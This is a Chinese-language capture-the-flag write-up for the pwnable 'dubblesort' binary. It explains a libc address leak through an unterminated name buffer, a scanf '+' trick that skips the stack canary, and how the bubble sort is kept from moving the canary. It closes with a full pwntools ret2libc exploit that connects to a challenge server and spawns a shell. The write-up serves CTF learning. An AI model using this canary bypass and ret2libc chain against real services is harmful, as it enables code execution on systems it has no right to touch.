XCTF/BUU/pwnable-dubblesort-WP

Posted on Jan 2, 2021

灵感

故事是这样的,拿到题目放到ida里分析,发现是个冒泡,同时数组可以随便越界,又给了libc,感觉挺熟悉的,应该可切,然后到虚拟机里checksec,发现一片绿

被震了一下,于是考虑先感受一下程序的大体功能

输名字的时候手一抖多打了几个a,发现输出了一些奇怪的东西,立马赶回ida里面看一下原因

(这里ida是有识别错误的,bufprintf%s的参数,这个%s是输出到 '\x00'为止的)这里我们可以leak一些栈上的数据,一般来讲栈里面肯定会有libc的地址,所以我们就可以获得ret2的地址了。

问题

我的工具似乎还是有问题,在gdb里调试,对于有pie的程序,断点可以使用 b * $rebase(offset_address)来下,但是我这里一直出现这样的问题

最后是凑了一个地址从libc进去才找到的基地址(后来发现这样做太蠢了,完全可以在程序等待输入的时候按CTRL+C让他暂停在read上,然后用finish,输入点东西,就可以断在程序的某个地址上,就可以获得基址了,gdb保证了的这个基址的不变)

然后查看栈

发现什么都没有

以上都是一些配置的问题,关于如何使用指定的libc在gdb中调试准备之后仔细研究一下。

解法

所以又一次我去剽窃了他人的成果,在与buf偏移0x1c的地方残留有libc的.init_array的地址,所以输入0x1c个字符就可以leak了。这样我们就可以算出libc的基地址,之后的ret2libc都是很自然的事。

现在还有一个麻烦的问题,就是

这里的读取是一路读下去的,会经过canary,也没办法再把canary泄露出来了。进行信息收集后我了解到通过输入 '+'或者 '-'就可以跳过那一次输入了。

原理是这样的:在scanf的时候,如果只输入一个非法字符(对于 %u而言就是字母这些了)就敲下回车(递交缓冲区)的话,scanf会把这个非法字符退回给缓冲区,这样其实已经达到了跳过这次输入的效果了,但是后果就是非法字符会一直留在缓冲区里面,出现这样的情况

也就是说之后所有的scanf都会重复这个读入退回的操作(stdout的缓冲区是每次刷新的,但是stdin没有),我们就没法布置rop链了。而 '+'或者 '-'是合法的(二者定义了数字的符号),会被读入,不会被退回至缓冲区,如果这之后没有数字,就不会对应该修改的地址进行修改。

这样此题就十分简单了。还有一点额外要注意,输入完后会进行一次冒泡排序,不能让canary被换掉,在canary前输入比较小的数就可以避免了。比较巧的是system的地址大于canary,'/bin/sh'的地址也大于system的地址,所有他们排在canary后面也不会被交换。关于canary的位置,此题动过手脚,在ebp-0x10处,所以输入24个整数后会输入到canary。而由于下图中的行为,retn时pop的地址与canary相距0xC+4*4=28个字节,我们还要填充7+1+1=9(一个是ret2的地址,一个是system函数的fake return address)个system的地址和一个 '/bin/sh'的地址,所以要输入35个数字。

#!/usr/bin/env python
# coding=utf-8
from pwn import *
context(log_level = 'debug')

_init_array = 0x001AE244
sh = remote("220.249.52.134",35254)
libc = ELF("./libc_32.so.6")

sh.sendafter("name :","a" * 0x1c)
sh.recvuntil("a" * 0x1c)

libc_base = u32(sh.recv(4)) - _init_array
system_addr = libc_base + libc.symbols["system"]
bin_sh_addr = libc_base + libc.search("/bin/sh").next()

sh.sendlineafter("to sort :",'35')

for i in range(1,25):
    sh.sendlineafter("number : ",str(i))

sh.sendlineafter("number : ",'+')

for i in range(9):
    sh.sendlineafter("number : ",str(system_addr))

sh.sendlineafter("number : ",str(bin_sh_addr))

sh.interactive()

此题很好,很有收获。